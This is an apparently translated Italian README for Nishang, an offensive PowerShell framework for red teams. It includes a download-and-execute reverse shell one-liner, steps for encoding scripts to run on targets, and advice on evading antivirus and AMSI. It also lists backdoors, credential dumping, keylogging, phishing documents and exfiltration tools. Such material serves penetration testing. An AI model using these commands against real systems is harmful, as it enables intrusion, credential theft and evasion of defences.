
Nishang - PowerShell offensivo per red team, penetration testing e sicurezza offensiva.
Di Nikhil Mittal Fondatore di Altered Security - Formazione pratica su red team e sicurezza aziendale!
Importa tutti gli script nella sessione PowerShell corrente (PowerShell v3 in poi).
PS C:\nishang> Import-Module .\nishang.psm1
Usa i singoli script con il dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Per ottenere aiuto su qualsiasi script o funzione, usa:
PS C:\nishang> Get-Help [nome script] -full
Nota che l'aiuto è disponibile per la funzione caricata dopo l'esecuzione dello script e non per lo script stesso dalla versione 0.3.8. In tutti i casi, il nome della funzione è lo stesso del nome dello script.
Ad esempio, per vedere l'aiuto su Get-WLAN-Keys.ps1, usa
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Gli script di Nishang vengono segnalati come dannosi da molti antivirus. Gli script su un target sono pensati per essere utilizzati in memoria, operazione molto semplice con PowerShell. Due metodi base per eseguire script PowerShell in memoria:
Metodo 1. Usa il download ed esecuzione in memoria: Utilizza il comando seguente per eseguire uno script PowerShell da una shell remota, una shell nativa di meterpreter, una web shell, ecc. e la funzione da esso esportata. Tutti gli script in Nishang esportano una funzione con lo stesso nome nella sessione PowerShell corrente.
powershell iex (New-Object Net.WebClient).DownloadString('http://<tuowebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Metodo 2. Usa il parametro -encodedcommand (o -e) di PowerShell
Tutti gli script in Nishang esportano una funzione con lo stesso nome nella sessione PowerShell corrente. Pertanto, assicurati che la chiamata alla funzione sia fatta nello script stesso quando si utilizza il parametro encodedcommand da una shell non PowerShell. Per l'esempio sopra, aggiungi una chiamata di funzione (senza virgolette) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Codifica lo script usando Invoke-Encode di Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Dati codificati scritti in .\encoded.txt
Comando codificato scritto in .\encodedcommand.txt
Da sopra, usa lo script codificato da encodedcommand.txt ed eseguilo su un target dove i comandi possono essere eseguiti (una shell remota, shell nativa di meterpreter, una web shell, ecc.). Usalo come segue:
C:\Users\target> powershell -e [scriptcodificato]
Se gli script vengono ancora rilevati, cambiare i nomi delle funzioni e dei parametri e rimuovere il contenuto di aiuto aiuterà.
Nel caso in cui AMSI di Windows 10 blocchi ancora l'esecuzione dello script, consulta questo blog: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang attualmente contiene i seguenti script e payload.
Modifica gli oggetti AD per fornire i permessi minimi necessari per DCShadow.
Esegui script PowerShell in memoria, esegui comandi e scarica e carica file usando questa webshell.
Una backdoor che può ricevere istruzioni da siti web di terze parti ed eseguire script PowerShell in memoria.
Una backdoor che può ricevere comandi e script PowerShell da query DNS TXT, eseguirli su un target ed essere controllata a distanza tramite le query.
Una backdoor che può eseguire script PowerShell in un determinato momento su un target.
Una backdoor che può ricevere comandi e script da un SSID WLAN senza connettersi ad esso.
Una backdoor che può utilizzare lo screensaver di Windows per l'esecuzione remota di comandi e script.
Una backdoor che può utilizzare flussi di dati alternativi e il Registro di Windows per ottenere persistenza.
Una backdoor che utilizza il noto trucco del Debugger per eseguire payload con Sticky keys e Utilman (Windows key + U).
Modifica i permessi di DCOM e dei namespace WMI per consentire l'accesso a un utente non amministratore.
Modifica i permessi del PowerShell remoting per consentire l'accesso a un utente non amministratore.
Implementazione di metodi pubblicamente noti per bypassare/evitare AMSI.
Crea file CHM infetti in grado di eseguire comandi e script PowerShell.
Crea file Word e infetta quelli esistenti per eseguire comandi e script PowerShell.
Crea file Excel e infetta quelli esistenti per eseguire comandi e script PowerShell.
Crea un file HTA che può essere distribuito su un server web e utilizzato in campagne di phishing.
Crea file JAR firmati che possono essere utilizzati con applet per l'esecuzione di script e comandi.
Crea file di collegamento in grado di eseguire comandi e script PowerShell.
Crea file IQY per il phishing di credenziali e hash SMB.
Crea file JS in grado di eseguire comandi e script PowerShell.
Crea file SCT in grado di eseguire comandi e script PowerShell.
Crea un file SCF che può essere utilizzato per catturare le sfide NTLM hash.
Quando sono necessari privilegi SYSTEM.
Introduci vulnerabilità rimuovendo le patch.
Bypassa UAC.
Scarica ed esegui uno script PowerShell in memoria.
Scarica un eseguibile in formato testo, convertilo in un eseguibile ed eseguilo.
Esegui comandi PowerShell, comandi nativi o comandi SQL su un server MSSQL con privilegi sufficienti.
Esegui shellcode in memoria utilizzando query DNS TXT.
Esegui comandi e script PowerShell o una sessione PowerShell inversa tramite rundll32.exe.
Verifica la presenza di una macchina virtuale.
Copia il file SAM utilizzando il servizio Volume Shadow Copy.
Inganna un utente per fargli fornire credenziali in chiaro.
Una coppia di script per il test di egress
Ottieni informazioni succose da un target.
Ottieni LSA Secret da un target.
Ottieni gli hash delle password da un target.
Ottieni le chiavi WLAN in chiaro da un target.
Registra le sequenze di tasti da un target.
Invoke-MimikatzWdigestDowngrade
Estrai le password degli utenti in chiaro su Windows 8.1 e Server 2012
Ottieni i suggerimenti per le password degli utenti Windows da un target.
Collegati e trasmetti lo schermo del target utilizzando MJPEG.
Carica mimikatz in memoria. Aggiornato e con alcune personalizzazioni.
Estrai informazioni succose dalla memoria dei processi del target (come i browser) utilizzando regex.
Esfiltra informazioni come le credenziali degli utenti, utilizzando WLAN SSID.
Identifica i jump-box amministrativi e/o i computer utilizzati per accedere a macchine Unix.
Un proxy HTTPS locale per attacchi MITM.
Verifica le credenziali su più computer e crea PSSession.
Run-EXEonRemote Copia ed esegui un eseguibile su più macchine.
Invoke-NetworkRelay Crea relay di rete tra computer.
Verifica gli hash dei processi in esecuzione rispetto al database VirusTotal.
Brute force su FTP, Active Directory, MSSQL e Sharepoint.
Uno scanner di porte utile.
Tutta la funzionalità di nishang in un singolo modulo script.
Invia comandi e script a un account Gmail specificato per essere eseguiti da Invoke-PsGcatAgent
Esegue comandi e script inviati da Invoke-PsGcat.
Una shell inversa interattiva o bind di PowerShell
Versione ridotta di Invoke-PowerShellTcp. Contiene anche una versione scheletro che può stare in due tweet.
Invoke-PowerShellTcpOneLineBind
Versione bind di Invoke-PowerShellTcpOneLine.
Una shell inversa interattiva o bind di PowerShell tramite UDP
Versione ridotta di Invoke-PowerShellUdp.
PowerShell inverso interattivo su HTTPS.
PowerShell inverso interattivo su HTTP.
Pulisci il sistema dopo aver usato Invoke-PoshRatHttps
PowerShell interattivo utilizzando WMI.
Una shell inversa interattiva di PowerShell tramite ICMP.
Una shell inversa interattiva di PowerShell tramite HTTP usando rundll32.exe.
Una shell inversa interattiva di PowerShell tramite HTTP usando regsvr32.exe.
Aggiungi la capacità di esfiltrazione dati a Gmail, Pastebin, un server web e DNS a qualsiasi script.
Aggiungi la capacità di persistenza al riavvio a uno script.
Rimuovi la persistenza aggiunta dallo script Add-Persistence.
Usa pipe (|) questo con qualsiasi script per esfiltrare l'output.
Trasferisci un file al target.
Analizza i tasti registrati dal keylogger.
Codifica e comprimi uno script o una stringa.
Decodifica e decomprimi uno script o una stringa da Invoke-Encode.
Esegui un server web che registra l'autenticazione di base e gli hash SMB.
Codifica una stringa in ROT13 o decodifica una stringa ROT13.
Genera record DNS TXT che possono essere utilizzati con altri script.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Gli aggiornamenti su Nishang possono essere trovati sul mio blog http://labofapenetrationtester.com e sul mio feed Twitter @nikhil_mitt.
Per favore apri una segnalazione se incontri un bug o hai una richiesta di funzionalità. Puoi inviarmi un'email a nikhil [dot] uitrgpv at gmail.com
Per feedback, discussioni e richieste di funzionalità, unisciti a: http://groups.google.com/group/nishang-users
Sono sempre alla ricerca di contributori per Nishang. Per favore invia richieste o inviami un'email.
Alcuni post del blog utili per i principianti:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
Tutti i post su Nishang: